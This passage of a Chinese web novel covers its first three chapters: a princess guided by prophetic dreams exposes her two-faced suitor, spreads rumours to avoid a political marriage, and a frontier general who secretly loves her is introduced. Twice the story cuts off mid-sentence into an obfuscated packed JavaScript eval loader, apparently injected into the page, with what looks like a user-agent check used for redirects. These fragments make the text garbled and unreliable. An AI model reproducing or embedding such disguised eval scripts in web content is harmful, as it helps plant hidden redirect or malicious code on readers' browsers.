《郡主的夫君他又争又抢》 1. 第 1 章 阳春三月,照京城中一片初春之景,酒家拿出上一年的百花酒,吆喝售卖。 临街的点心铺子支开窗户,桃花糕香甜的气息,顿时四散开来,引得路人驻足。 边上的书生掂了掂袖中银钱,心中测算,应该还能给娘子买上两块尝尝鲜,只是明日又得接点新活,替人多写几封家书。 浅淡的香气飘荡过长街,扩散到远处的府邸。 国公府中,一女子仍在安睡。只见她忽然皱起眉头,明艳的五官有一瞬间的挣扎,透着痛苦的意味。 屋外忽然传来几声尖利的猫叫,萧新棠立刻睁开眼睛,从连绵的梦境中抽离。 她缓缓坐起,靠在后枕上,平日里灵动的眸子有些呆滞,浑身透露着几分无力与倦怠。 落棋一进屋,便看见这幅景象,往日开朗的小姐神色恹恹,抬眼间,眼中的情绪很复杂。 晨光撒在小姐白净的脸上,那一瞬间,小姐似乎离她越来越远。 “外面怎么了?”萧新棠拿起床边的衣服穿戴,瞥了一眼还在发呆的侍女问道。 “回小姐,方才小橘在岸边抓鱼,不小心滑倒,摔进池塘了,侍卫捞上来还在那叫唤呢。”落棋连忙收敛思绪,将温热的帕子递给小姐。 收拾齐整后萧新棠坐在桌边,看着下人将饭菜一一摆放好,忽而出声:“把小橘抱过来吧。” “小姐,小橘刚刚被捞起来,还有些脏,采荷去给它沐浴了,擦干净再给小姐送来。” 萧新棠点头,继续用餐,吃个半饱便停下了筷子。 落棋见状,还想再劝,忽而余光见一丫鬟小步跑到院门口,便走了过去。 萧新棠看着那个眼熟的丫鬟,唇角掀起一抹讽刺的笑,有些人还真是耐不住性子。 想起梦中那字字锥心的言语,她几乎按捺不住心中怒意。 下人撤下席面,萧新棠走到院中的桃花树下,躺进榻中。 一小厮将小橘抱过来,萧新棠接过,抱进怀里。 小橘闻到熟悉的味道,轻轻蹭着,小爪子收着指甲,柔软的爪垫搂着她的手,一派依赖之色。 连不通人言的猫儿也知人性善恶,懂得知恩图报的道理,感受到怀中小家伙热乎乎的温度,萧新棠沉凝的情绪缓缓放松。 她是齐国的昭言郡主,国公府深得皇上爱重,她的爷爷是与太祖共争天下的结拜兄弟,她虽是郡主食邑,实际上待遇与公主相当,在这照京城也算是说一不二的存在。 更不用说她还有一副能为她赢得无数赞誉的好相貌,一袭红衣容色倾城,多少儿郎想着得到昭言郡主的青睐。 可偏偏,昭言郡主早已心有所属,她跟在丞相家的二公子贺知循身后,整整三年,在世人眼中,她早已将一颗痴心绑在了贺知循身上,宫中更有言论,说是只要贺知循在春闱能中三甲之名,圣上就会为他们赐婚,全了昭言郡主一腔痴情。 呵,萧新棠不禁冷笑,这可真是“天赐”的好姻缘啊,若是故事里的另外一个人,真的爱她的话。 与传言中不同,她并非对贺知循一往情深,京中有才华的人多了,贺知循不过是中上水平,空有一副濯濯公子似的好皮囊,实在当不上她另眼相待。 这一切不过源于她三年前的一场梦,梦中她对贺知循一见钟情,年少慕艾,她轰轰烈烈地追着贺知循,全照京都感慨于她的深情。 贺知循也从一开始的抗拒,到最后与她两情相悦。于会试后,考取探花之名,得到皇上赐婚。 大婚之日,天子见证,皇子观礼,红色的嫁妆一抬又一抬,整座都城中人都见证着她的幸福。 梦境停在此处。 三年前的萧新棠心知,食郡主之禄,她的未来不是嫁入皇室,就是许给圣上爱重的高官之子,甚至若国运不济,和亲之事她也是首选,避不过。 年方二八的少女总有几分叛逆,与其嫁给一个也许她并不喜欢的陌生人,倒不如顺应这个梦。 至少在梦里,贺知循动心后对她也是不错的,少年探花,前途一片光明。 想清楚的萧新棠便开始跟着梦中做派,一步一步去引导舆论,造就无数个偶遇与巧合,成功打入贺知循的交友圈中,与贺知循以友相称。 若后续进展顺利,明年会试前,他们便可以进入两情相悦阶段,直到大婚。 只可惜…… 萧新棠摸着怀中的猫儿,小橘娇娇地打着小呼噜。 只可惜她昨晚又做了一个梦,是上次梦境的后续。大婚之夜,她满心喜悦,等着她的郎君挑开盖头。 只是萧新棠等了又等,等到宾客尽皆归家,也没有等到想等的人。 她派落棋出去问询,却只得到贺知循的小厮敷衍的回应。 “少爷今晚饮酒过多,不忍打扰郡主,在书房睡了,明天再向郡主请罪,还望郡主早些歇息。” 梦里的她愤怒地揭开盖头,换下衣裙,与落棋一道向贺知循的书房掠去。 如今这情况,贺知循自然不会放她出去,他以为萧新棠嫁入府中,就任他们磋磨。 怎么可能! 她今夜倒要去看看,究竟是什么理由,让她的新郎官以醉酒这种低劣的理由,也要避开她。 梦境中的她飞至书房外,却见证了不堪的一幕。 贺知循与七公主在书房厮混,暖香漫漫,不知天地为何物。 过度的愤怒带来压抑的冷静,萧新棠压住落棋,咬紧牙关听着下方言语。 原来,贺知循一直以来,心中都有喜欢的人,他爱七公主,为了让七公主的同胞哥哥三皇子上位,他伪装自己被萧新棠打动,与她两情相悦。 这一切不过是他想要得到国公府助力的借口,他还自认为爱他的萧新棠不会在意今晚的事,到时候他哄骗两句,国公府的势力就还是他的囊中之物,等到三皇子登基,再找个由头送国公府一家去地底团聚就行。 现实的萧新棠冷眼看着,但梦里的萧新棠一腔真心错付,已是怒不可遏。 她萧新棠,与身后的国公府,都成为了他人的眼中餐、口中肉,被人敲骨吸髓不够,用完了还得落得灭门的下场。 吩咐落棋赶回国公府,待落棋走后,萧新棠拔出腰间的匕首,翻进屋中,只是两刀,便将这二人的肮脏结束于此。 鲜血溅到脸上,她擦干净脸,拔出卡在喉骨的刀,点燃了柜子上的书本,在熊熊烈火中,她疲惫地闭上了眼。 现实中的萧新棠也在那一刻睁开了眼。 * 萧新棠不知她为何会做这些梦许是上天垂怜,不忍看她受骗,不管怎么说,既然已知后事,她便不会走上如梦中一般的结局。 落棋跑过来回禀方才小丫鬟的传话,“小姐,李公子派人来,邀小姐参加后日宣侯府的赏花宴,这是拜帖。” 萧新棠接过拜帖,上头的内容她却早已知道。 宣侯府世子李锦,与萧新棠从小一起长大,同贺知循关系也不错,十分希望撮合他们。 “这次宴会,皇室会去人吗?”萧新棠眯着眼睛,懒洋洋地靠着。 “那丫头说二皇子和七公主也许会去,其他人那边还没有回话。”落棋从小姐手中接过猫儿,云芝把刚从屋内拿出的毯子展开,给小姐盖上。 在梦里,也有这一遭,这两位龙子凤孙从小就不对付,在宴会上也是针尖对麦芒,掐个没完。 中途七公主在二皇子手里抢花的时候,不小心划伤了手,当时贺知循在第一时间,拿出手帕给公主包扎,让小厮赶紧去找府医,简直比李锦反应都快。 偏生梦里的萧新棠是个缺心眼,对贺知循一心一意,还觉得人家颇有君子风度,临危不乱。 现实的萧新棠,知道这二人早就暗通款曲之后,此前的一桩桩一件件事,也都有了解释。 “小姐会去吗?”落棋在旁边小声问着,接着她又补充道:“听说今年宴会,贺公子也会去。” 京中之人都知道她喜欢贺知循,身边的丫鬟也都这样认为,平日里只要事关丞相家二公子的事,她从不会拒绝。 “这次宴会我就不参加了,替我回了吧。”她将拜帖重新递给落棋。 落棋一脸惊色,却也没有多言,赶忙走出庭院,吩咐小厮将帖子送回去。 复又心事重重地回来,立在旁边,一副欲言又止的样子。 “想问什么就问吧。” “小姐这是不想参加宴会,还是不想见宴会上的人呢?”落棋轻声问道。 她自小就跟在小姐身边,自然能感觉到小姐的情绪不好,特别是刚刚听到贺公子的消息时,小姐的嘴角都向下撇了,显然是不喜此人。 萧新棠很喜欢落棋的敏锐,顺着她的话道:“宴会自然是喜欢的,不过是我厌了贺知循罢了,以后都不喜欢了。” 身边的丫鬟们一时顿住,更有甚者还轻吸了一口气,谁人不知小姐心系贺公子,正待再问,忽然门房过来传话,宣侯世子与贺二公子来访。 萧新棠眼神一厉,来得正好,她正愁怒气没处泄呢。 “让他在前厅等着,落棋叫上几个护卫,随我同去。” “是!” * 萧新棠抱着猫儿,朝着前厅而去,落棋与四名健壮的护卫跟在后头。 穿过花廊,便见着屋内二人。 锦衣华服的宣侯世子大大咧咧地坐在椅子上喝茶,贺知循腰间坠着萧新棠送的白玉佩,手上执着水墨画扇,一派谦谦君子模样。 “新棠,方才我与阿循正在云鲜楼吃酒,见着给你送拜帖的小厮,说着这次宴会你不来了,这是怎么了?你往年都来的。”李锦一见到萧新棠便急急问道。 萧新棠不语,坐到上位,摸着猫儿看着眼前人。 李锦正待再问,贺知循便拽了一下他的衣袖,噙着笑意道:“新棠可是身体不适,我见着你面色有些苍白。” 堂上的女子未施粉黛,不似以往一袭红衣灼人眼,浅色的衣裙衬着姿容越发娇弱,几乎让人忘了,昭言郡主平日里张扬的做派。 即使贺知循心里有人,也时常沉溺于这般美貌,他想着,若不是昭言身份太高,娶来当个良妾也未尝不可。 清醒后的萧新棠,早已不会被这种虚情假意迷惑,贺知循看着深情款款,好似君子,实际上内里早就烂透了。 她直视着贺知循,缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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身旁的李锦早在萧新棠说出七公主时,便不敢作声了。 世家子弟没有几个是真傻的,以前是没注意,现在萧新棠一挑明,再想起他们二人的交际,谁都看得出问题。 “阿循,你告诉我,为什么每次七公主出行的地方,你总是在,为什么你平日从不参加赏花宴,这次七公主会来,你便也接了拜帖,你们二人莫非真的……” 贺知循看着李锦怀疑的眼神,连忙抓着李锦,急急解释道:““不是,她是胡说的,我……我与七公主清清白白,不是像她说的那样!” “呵,话都与你说了,你若不认,就与我进宫辩个明白,休要在此胡搅蛮缠。”萧新棠抬眼,觉得这一场大戏真没意思,这样一个自私自利的男人,她之前可真是瞎了眼才会看上。 李锦也跟着搭腔:“对啊,贺公子要是真的问心无愧,天鉴司自然不会污蔑你。” “我……我,这种事情怎么能拿到圣上面前说,更何况萧新棠你是个女儿家,”贺知循好似找到了什么主心骨一般,接着道;“若是让人知道你随意栽赃,如此搬弄是非,岂不是倒了国公府的牌面。” “国公府的面子不用你操心,我只问你一言,你究竟认不认你与七公主的私情,若是不认,我这便让护卫送二公子进宫。”萧新棠挥手,四周的护卫虎视眈眈,几乎想立刻就将这狼心狗肺的东西抓起来。 贺知循看着坐在上面,笑意盈盈的萧新棠,从未如此憎恨她这张美人面,这贱人,简直欺人太甚。 他咬牙切齿,两眼猩红,只觉从未如此受辱,眼里只有恨意,当下便不管不顾地开口:“对,我就是心悦七公主!公主金尊玉贵,温婉贤淑,与你这种粗鄙之人全然不同,别看京中那些个世家子弟捧着你,不过是因为你长了张好脸,有那几分颜色罢了,背地里还不知如何想!” “萧新棠,只看你平日里那嚣张跋扈的做派,哪家男儿敢娶你,我贺家书香门第,我还日日对你好声好气,也不过是看在国公爷的面子上,就凭你的秉信,做个通房都进不了贺家的门!” 一通话倒出,李锦瞪大双眼,呆呆地看着眼前的好友,衣衫散乱,脸颊高高肿起,眼里溢满了狠意,俨然一副要吃人的模样,哪还有平日里的君子形象。 什么粗鄙、通房,他竟然不知好友原来是这样的心思。 李锦前言不搭后语地解释道:“不是……新棠你别听他胡言,我们不是这样想的……我们是朋友,我母亲也很喜欢你,不对不对,我们也喜欢你,不对,也不是那个意思……” 贺知循说完便有些后悔,李锦还在此处,宣侯是他好不容易结交上的,可不是失去这一助力,他当即便要找补,突然只见门口飞入一人,沙包大的拳头眨眼间如雨点落下,打得贺知循惨叫不断。 “住手!啊!!痛!” 来人身着官袍,腰间佩剑,赫然是国公爷萧定城! “老子打死你这小兔崽子!就那个吊丧鬼贺老儿也不敢如此放肆,谁允你这样说话!棠儿看上你那是抬举你!一个酸腐小儿,还敢朝三暮四见异思迁,老子今天就打死你这畜生玩意儿,给贺家清理门户!” 2. 第 2 章 “别打了别打了,快打死人了!!” “痛!啊!” “萧伯伯消消气,别打了!” 国公爷一出面,场面顿时混乱了起来,一旁的护卫上前想拉开两边,实则根本就没拦着自家主人,全挡住贺知循的反抗。 李锦在边上急得团团转,左右都帮不上忙,眼见着好好的二公子快被得破相了,人是他带来的,要是缺胳膊少腿送回去,可就不好收拾了。 他只得朝着站在一边的萧新棠拱手,求情道:“新棠啊新棠,郡主你快让萧伯伯停下吧,再打下去贺知循这身板会受不住的,贺相在朝为官,要真把他儿子打死了,我们几家人都说不过去啊。” 萧新棠当然知道她爹没想着打死人,纯粹是为了出口气,萧国公可是从战场上下来的,真不留手的话,贺知循早就断气了,焉有命在? 教训给够了,萧新棠也给李锦面子,过去拉住父亲,给李锦递了个台阶,柔声道:“好了好了,爹爹不要生气了,为这种人脏了手不值得,我这一遭也算是认清了人,没得把人打死了还得找咱们不痛快,好歹是宣侯世子带来的人,爹爹就让他带回去吧。” 此时的贺知循已是满脸血污,说不出话来了。 萧定城收回拳头,把女儿护在身后,平日还算温和的脸上一片厉色,“李家小子,人你可以带走,但得让我萧府的人送,还要让那贺老鬼知道个清楚,是他家小儿无理,我萧府以后不欢迎贺府的人!” “是是,萧伯伯说的我都记下了,多谢萧伯伯体谅”李锦一面应承,忙不迭让下人扶着地上的人上马车,自己也跟着离开,免得再留一会萧伯伯又气不过再打一顿。 车后萧府的绿衣卫也跟着鱼贯而出,一行人浩浩荡荡去往丞相府。 车上的李锦看到这些绿盔甲,心里一阵后悔,这可是陛下特批给萧家的护卫,代表着天子垂恩,到了贺府,怕是得把这丢脸的事要闹得人尽皆知,过了这一遭,贺丞相估计也得记恨上带贺知循入府的他和宣侯府了。 见着一行人离开,萧父连忙拉着女儿进屋,左看看又看看,担忧道:“棠儿,你让丫鬟特地到宫门边传信,让爹爹回来给你撑腰,爹爹来得有些晚了,他们有没有欺负你?你这心里难受就哭出来,别憋着气坏了身子。” 早在梦醒之时,萧新棠就计划好了今天的一出戏,目的就是为了先和贺知循划清关系,以便进行后面的安排,梦里的情状太惨烈,她绝不能重蹈覆辙。 眼见着一切安排都落到了实处,听见父亲的话,萧新棠绷了一天的心神骤然松懈了下来,只觉眼角酸涩,克制不住地抱着父亲不语。 萧父轻轻拍着女儿的后背,怀中内衬被泪水打湿,萧国公杀伐果决的心也碎成了几节。他在战场上杀人不眨眼,边塞至今流传着萧家军的威名,可对于女儿的难过,却是如此无力。 鸢娘临死前,让他好好待棠儿,可他总是分身乏术,身为有实权的王侯,他一年到头都忙于事务,总得等到夜晚才会归家,虽然身为朝臣,他自是无愧于圣上爱重,可作为父亲,他总是失职的。 只能尽力给他的女儿最好的生活,让她衣食无忧,加之感情的事情父母难以插手,只能在女儿被欺负后好生宽慰,狠狠教训那个负心郎。 他的女儿是京城最耀眼的太阳,贺知循这厮忒没眼光,赶明得去贺府好生问询贺家家教,萧父在心里又给那没眼力的小儿狠狠记了一笔。 萧新棠完全没想到父亲脑中百转千回,已经准备提剑杀去贺府了,发泄过后泪水渐收,她也从父亲的怀抱中起身。 “看看棠儿的小花脸,赶紧擦擦,还难受吗?”萧父掏出手帕递给女儿,疼惜地看着她。 “嗯,不难受了,一个男人罢了,这是他没眼光,城中多少人喜欢我呢,我还瞧不上他贺知循。”萧新棠鼻音浓重地回道。 “那是,我家棠儿最好了,平日可是不少世家的同僚在爹这旁敲侧击,想给你说媒,一个个都是青年才俊,赶明爹给你张罗张罗。” “爹爹,这会儿不急,我还想在家多陪陪你呢。”萧新棠挽着父亲,去往花廊用饭,早在方才父女叙话时下人便已经备好了午饭。 “哈哈哈,好啊,爹巴不得你在家多呆几年,外头那些小子哪配得上棠儿啊。” 这边厢,国公府一派和乐,丞相府却是鸡飞狗跳。 贺丞相刚进家门,还未坐下来喝口茶,府外便传来了一阵喧闹。 家丁连滚带爬禀报,说是二公子被人打了,还是抬着回来的。 等到贺奉远出来,只见四处围满了百姓,这个一句“负心汉”,那个一句“白眼狼”,直骂得贺丞相气血上涌,险些失态。 一旁的家丁上前,一五一十汇报了详情。 原来是绿衣卫送人来的路上,好事百姓上前询问了几句,谁知那小兵也是个会来事的,撑起嗓门就是一顿喊,从贺知循给他家小姐送书信讲起,一直讲到今天萧国公那一顿打。 末了临到贺府门口还惟妙惟肖地演起了贺知循冲着萧新棠喊的那一段话,什么当个通房都不配之类的,这话一出,四周百姓顿时吵嚷起来,喊着要一同去府上问个明白。 车上的李锦根本就不敢出声,帘子都紧紧按住,他哪能不知道这人就是国公爷特意安排的,为的就是让贺知循在京城颜面扫地,管你是什么世家公子、高官后代,惹了昭言郡主都没好果子吃, 这一遭同时也是在警告李锦,若是要与萧家站在一块,此后宣侯府与丞相府便是两路人了。 了解了事情经过,贺奉远只得忍下怒气,给这个不省心的儿子收拾烂摊子,如今已是未占先机,要真在这家门口弄得下不来台,他的脸便算是丢尽了。 “还不快把这逆子带回去,尽在此处丢人现眼!” 一面着人处理,贺奉远又与带头的人一拱手,“各位辛苦了,此事实在是我儿愧对郡主,一时未与郡主说好,乃是老夫教养之过,还请小兄弟回去替老夫传个话,让萧国公放心,今日我必定家法伺候这逆子,必让他晓得其中利害,改日老夫自会携子去萧府,给郡主赔礼道歉。” “丞相大人不必如此,我家老爷说了,道歉就不必上门了,萧府受不起贺府的礼。” “况且,我们弟兄们听得清清楚楚,今日之事也并郡主与贺公子间的吵闹,实是你贺府小儿贬低当朝郡主,日后若是再有此言行,别说老爷不会再留手,我们营里的兄弟们也不会放过他。” 还未等人再次开口,浩浩荡荡的人马便已经转头,扬起一阵风沙拂面,贺丞相只觉面上刺痛,好你个萧定城,主子和下人一个德行,都是些上不了台面的兵痞。 李锦见双方都没人在意他,赶忙带着小厮默默回府,这一脑门官司的,他可不想再掺和了。 * 贺府,主院。 “哗啦……” 一盆冰水浇下,鼻青脸肿的贺知循瞬间睁开眼睛,刺骨的凉意混着伤口的隐痛,齐齐传入大脑,他几乎想要惨叫,碍于一旁坐着的贺父,只得忍下。 “说吧,到底怎么回事?”贺奉远面无表情地看着自己儿子,边上的府医也只是站着,没有吩咐不会上前。 “禀父亲,孩儿只是像往常一般,与李锦一同去萧府,约着萧新棠参加宴会,谁知她突然发怒,言道我是负心汉,口口声声要我与她去天鉴司……”贺知循咽下口中血沫,强打精神道。 “然后你便不管不顾,在当着萧定城的面口出恶言?”贺奉远的神情越发冷厉。 贺知循咽下口中的狡辩之言,咸湿的血沫划过嗓子,泛起一阵阵腥气。 在外人面前,他是光鲜的丞相二公子,同游者都是勋贵子弟,只有他自己知道,在这贺府中,在父亲眼里,他只是一个上不得台面的玩意,有点价值才能讨得丞相的喜爱,若是当真成了弃子,怕是连命都留不下。 “此次是孩儿一时气急,逾越了郡主,惹得父亲忧心,待伤好后我便去向郡主请罪,还望父亲勿怪。” 贺奉远目光扫过躺在床上的人,那一副告罪的模样还算乖觉,便起身离去,临至门口,再次出声:“伤好之前,你便不用出这屋子了,好好养病,外间事也不要管。” 血红的眸子一阵收缩,待到门口处的衣角再也看不见了,贺知循才敢呼吸。 父亲此言便是彻底将他禁足,难道他私下的那些动作都被察觉了?不应该啊,他已经足够谨慎了…… 贺奉远甫一离开院落,一道黑影便在面前跪下,他不紧不慢地道:“去把知循着手布置的几间铺子收了,掌柜的不用留下。” “是。” 黑影遁走,贺奉远回头看了一眼,心道,一个摆在台前的东西,不长点教训,怕是真把自己当成人物了,这次便先给好儿子一些教训,再不乖的话,他可不缺儿子。 贺府内波谲云诡,另一边的萧府却是一片祥和。 送走父亲去上值,落棋带着几个打扮破落的人从后门进了院子。 “属下拜见郡主!” 行礼后,萧新棠摆手,丫鬟们把誊写好的纸卷分发下去,各人依次传阅。 半响,为首的李何率先出声:“郡主,这纸上的话,都传吗?” 前半部分倒是没什么问题,就是说那贺府公子朝三暮四见异思迁。 而到了后半部分,却都是些指责郡主行事粗鄙、喜好打人的恶言,甚至还有说郡主极好美男,曾夜逛南风馆这些毫无根据的艳事,光是他们看着都有些怒气,更别说传给外头听。 “我写上的自然都得用上,不拘什么形式,意思到了就行,这件事做好了都有重赏。”萧新棠逗着猫儿,不甚在意道。 一旁的何计还想说法,落棋瞥了一眼,给了个眼神,便歇下了心思,他想着,郡主的命令自然有她的用意,他们这些下属只管去做就行,要是后续出现意料外的后果,大不了他们兄弟出来担着。 几人记好内容,各自分好区域,领了活去干了。 待人都走后,萧新棠屏退左右,看着落棋道:“有什么话就说吧,在我面前不用憋着。” “小姐,方才李何说的也是我们担心的,这些东西传出去,即使小姐是郡主,声誉也会受损,为了个贺知循实在不值。” “你以为这些话只是防着丞相府查到,是我在背后施力吗。”萧新棠淡淡地道。 “小姐还有其他考量?”落棋不解。 “落棋,我今年已经算是可以议亲的年纪了,与我同岁的何家小姐年底便要成婚,若非这几年有着我爱慕贺知循的传闻,爹爹在外头顶着压力,也许我已经成为谁家的主母了。” 萧新棠眼底闪过一抹晦涩,“且不说世家子弟,你以为二皇子他们频频相邀,当真是要引我为友吗?” 世家中的小姐们,姿容曼丽的数不胜数,才学和品行上佳者众,皇子们想交朋友可挑选者大有人在,萧新棠自认为脾性比不得一般的闺阁小姐温顺,也知道那些邀约看中的不过是国公府的势力,是她父亲的名声。 “之前还可以以真爱为借口挡挡,如今我和贺知循闹成这样,各家今日都能收到消息,若不用点手段,明日就会有谁家的拜帖上门了。” 落棋自幼在府中长大,身为小姐亲信,如此一说,自然也能明白小姐的难处,但还是有些担忧地道:“只是小姐这法子,实在是伤敌一千,自损八百,流言的势头怕是不好估量。” “无妨,这些手段迷惑一下普通世家倒还行,顶上那几个,一眼就能看出是我做的,只是让他们明白,你家小姐我现在不想嫁人。” 落棋觉得小姐这样说倒是没什么问题,但总感觉有哪里不对…… “落棋,把小猫抱去沐浴,爪子上的泥沾上我的衣裙了。”萧新棠举起小胖猫,递给一旁的人。 落棋带着猫下去了,绿衫丫头抱着一只圆滚滚的猫儿,走在阳光下,一切都是那么美好。梦境里她死后,落棋可能不会再像现在一样开心了吧。 下人端上火盆,萧新棠将纸卷一份份,丢入火焰中。 避婚根本不需要这种下下之,她怎会不知落棋的担心,这一手萧新棠防的不是照京城的世家,而是防备即将到来的和亲。 西边战事吃紧,焦灼已有半年之久,书信难通,很快就会传来边军内部将领叛变,鹖军攻陷三城,要求齐国派公主出使和亲,缔结鹖齐之好。 原先她与贺知循婚期已定,自然非和亲首选,如今没了婚约,定西军主帅是她的亲哥哥萧闻松,主将失利,她将成为最合适的和亲人选。 一手准备自然不够,写着叛徒信息的书信已经由暗卫送出,现在距离大战还有两个月,若是能够及时让哥哥看见,也许能避开这一祸事,若是不能,萧新棠只能想办法把七公主送上和亲的轿撵了。 纸卷在火盆中一点点烧尽,残留的灰烬破碎湮灭,成为了李树的花肥…… 翌日,京城中比往日更加热闹。 茶楼酒肆里闲谈着贺二公子的负心风流,说书人惊堂木一拍,起势便是一句:“话说那王府里的萧小姐,面上那是一个娇颜俏丽,夜里只见流水的美男子送于府上,丝竹弦音传得方圆数百里,仍有耳闻……” “这老头说的是真的吗?越听越玄乎。” “我二叔叔的三姐就住在那附近,夜里都见着有人往萧府送人,那还能有假?” “哎,你听说了吗,昨儿个贺家那位公子可是被抬着回府的,丞相爷都拉着个脸呢……” * 不止市井传言,就连宫中也有所耳闻。 永和宫内,太监跪在地上汇报着消息,主位上的女人一袭华服,斜倚榻上,染着蔻红的指甲漫不经心地扫过宫女举着的各色绸料,听见“萧小姐夜夜会美男”时,不禁莞尔一笑,上扬的眼尾俱时艳色无边。 “萧家这小姑娘倒真是有趣,这些话也敢瞎传,也不怕一时被人掀了台。” 旁边的一位年长的宫女问道:“娘娘何以看出是郡主出手做的?” 纤细的指节对着浅黄色的那一匹料子,宫女们得了命令退下。 李贵妃摸着尾指的护甲道:“这哪用细查,萧国公可是个护短的,要没有府内人授意,这消息可传不到大街上,更传不到宫里,小姑娘是个有主意的,只是手段嫩了些,与我家皇儿倒是相配,嬷嬷你说是吗?” “萧家女得娘娘如此爱重,是她的福分。” 却说萧府,橙黄的夕阳斜斜落入府中,周遭的花树明暗参半,在烛火下显得温暖又合宜。 萧国公一开始知道这消息时,也是一腔怒火,正准备去提剑斩人,女儿就已经到跟前坦白了,国公爷只得放下手中剑。 饭菜的热气氤氲,萧父看着安静吃饭的女儿,只觉一阵心疼,若非他无力,女儿怎需忧愁这些,唉…… 正叹气着,萧父碗中落下一块鱼肉,抬头一看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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落棋眼见小姐神情不对,赶忙扶着小姐,与云芝她们使了个眼色,给了报信人几颗金瓜子,扬琴留着细问,其余人一道回了院子。 回到房间,萧新棠屏退丫鬟,连带着落棋也守在外面。 她打开床头的柜子,从里面掏出几张纸,上面勾画着她回忆的梦境中的节点与事件,赫然写着“败,三城”,彰显着记忆的准确性。 梦里待到她出嫁身死,都未能见兄长一面,而现实却是哥哥即将凯旋归来,其他事情皆能对应上,唯有此处开始不同,难道她如今还在梦里? 萧新棠抬手,正准备给自己一巴掌,却怕父亲晚上会发现,只得用力拧着大腿,刺痛的感觉传来,激得眼角晕红泛着泪光,她才一脸冷色地停手。 会感觉到痛,就证明此处不是梦境,萧新棠敛下思绪,若从此时起,梦境便没了预知的作用,那她就得重新调整计划,死局有可能还没破。 将纸卷放好,萧新棠走到窗边,脑中回顾比对着桩桩件件的往事。 方才那小兵说先锋斩了敌军大皇子,她明明记得哥哥手下的先锋姓宋,与叛徒勾结出卖情报,并非姓虞,这位大皇子在得胜后,还作为迎亲使者来访,也没有死在此战。 这其中唯一的变数,也许就是这位虞将军。 “落棋,让那小兵去前厅候着,我有话要问。”萧新棠打开房门道。 “是。”落棋下去唤人。 小兵被安置在府内,很快就到了厅中,听到小姐要问战事具体消息,便一五一十地禀报。 萧新棠也知道了那位先锋的名字,她喃喃自语,“虞赋野……” * 与此同时,在消息传至京城时,风业城的战事早已告一段落。 夕阳的余晖到了战场,彷佛也带着远处的血腥味,大地一片晕红,小兵分为不同队伍清理着尸体与武器,几位将领也不讲究,就坐在篝火边喝茶吃烤肉,顺便说些闲话。 钱虎一口咽下这没滋没味的茶水,他也想喝酒啊,自从某位虞将军在军营里说得上话之后,向主帅谏言战时应该禁酒,打这半年的仗他老钱可一次酒都没喝上,夜里做梦都是在酒缸里洗澡。 想到这,他又瞪了一眼坐在对面的人。 只见那人一身黑衣,身材高大,面色冷然,同样在喝茶吃肉,边听着一旁的话语,时不时应和一声,在一群大老粗里面收拾得很齐整,那水囊在他手里都显得贵了几分,漆黑的眸子倒映着火光。 觉察到钱虎的视线,虞赋野抬头问道:“怎么了?” “嘿嘿,没怎么,就是听将军说这次打了胜仗,俺们应该能回家呆一段时间,到时候还有封赏,你不是有个心上人吗?这次你算头功,要不向皇上求个赐婚,把好事办了!” 钱虎瞅着他,心里有些可惜,小虞这长得又端正,又有本事,一看就前途不可限量,他还想把同宗的妹妹介绍过去,结果一问早就有心上人了,还是下手晚了啊,唉! 边上围着的几个将军也跟着起哄,“是啊!这出来打一仗就是几年,还是得早点定下来,别让人家姑娘等着。” “对啊对啊,可别像王哥一样,好不容易打完仗了,心上人又喜欢上别人了,个大老爷们哭了一夜哈哈哈哈。” “你小子就不能憋着吗?一天天的净往人心窝子里扎!看我不打你!” “王哥饶命啊,啊哈哈哈哈……” 几个人说急眼了,跑到一边的去比摔跤了,萧闻松刚好听到后半段,也顺势坐下来和下属们说说话。 “见过将军!”众将士抱拳行礼。 “好了,都吃着喝着,不讲这些礼数。” 萧闻松抬手,示意不用行礼。 “赋野,方才他们说的也有道理,你要是不敢,到时候我替你求一道圣旨,还给你们当主婚人。” 三年相处,战场上一同拼杀,萧闻松几次深陷险境都多亏了虞赋野的搭救,他心里早就把他当成亲弟弟来看待了,多好的苗子,他自然也为兄弟的婚事着急。 虞赋野看着面前将军殷切的目光,里面充斥着信任和重视,也不知道当他发觉,自己所说的心上人是他的亲妹妹时,是否还会如此时和善。 “我今儿个就撂下话了,谁要敢觊觎我妹妹,肠子都给他打出来!” 从前闲聊时,萧闻松的豪言还言犹在耳,虞赋野面色不动,应承下将军的许诺。 “好,那到时候就摆脱将军了。只是言言她比较怕羞,我要得她首肯才能求娶。” “哈哈哈哈,你小子该不会还没追上吧,行,你可得抓紧了,趁咱们在京中时就把姑娘追上咯,要是不会就问问老吴,他很会讨小姑娘欢心。” “好。” “来来来,干一个……” …… 是夜,众将士归营,虞赋野沐浴完回到营帐,倚靠在床上,手中拿着一副画。 画上女子坐在树杈上,笑容明媚,一袭红衣垂落,扬起片片落英,他看着画中人,神情不再冷淡,双眸中蕴着温和的笑意。 若是让萧闻松看见,必会发现画中人与萧新棠一模一样,便也能知道他这位先锋将军的狼子野心,只可惜他并不在此处。 夜晚的凉气渐起,虞赋野收好画卷,放在贴近胸口的内层中,闭眼入睡。 马上就要见面了,他真的很期待…… 3. 第 3 章 时间在忙碌中飞逝,转眼便到了四月十七日,大军回朝之日。 往日热闹的承安街此时更是喧闹得不行,不止街边挤满了人,临界的客栈也早早订满了,晚来的人只能在大堂靠近街道的地方站着,等着看军队进城。 萧新棠早就让人定了房间,此时也坐在窗边吃糕点,等着看哥哥和那位虞将军,她很好奇,传言中勇猛无双的先锋将军到底是何模样,何以成为改变命运原定轨迹的变数。 桌上还摆着一个花篮,里面放了好些种类的花,按照落棋的话来说,军队凯旋时周围的姑娘们都会给心仪的将士丢鲜花锦帕,要是没人给咱公子丢,那就小姐来丢。 萧小姐本人认为,虽然她哥是长得魁梧了些,但在小姑娘眼里还是很有机会的,她老萧家的血统不至于越长越丑。 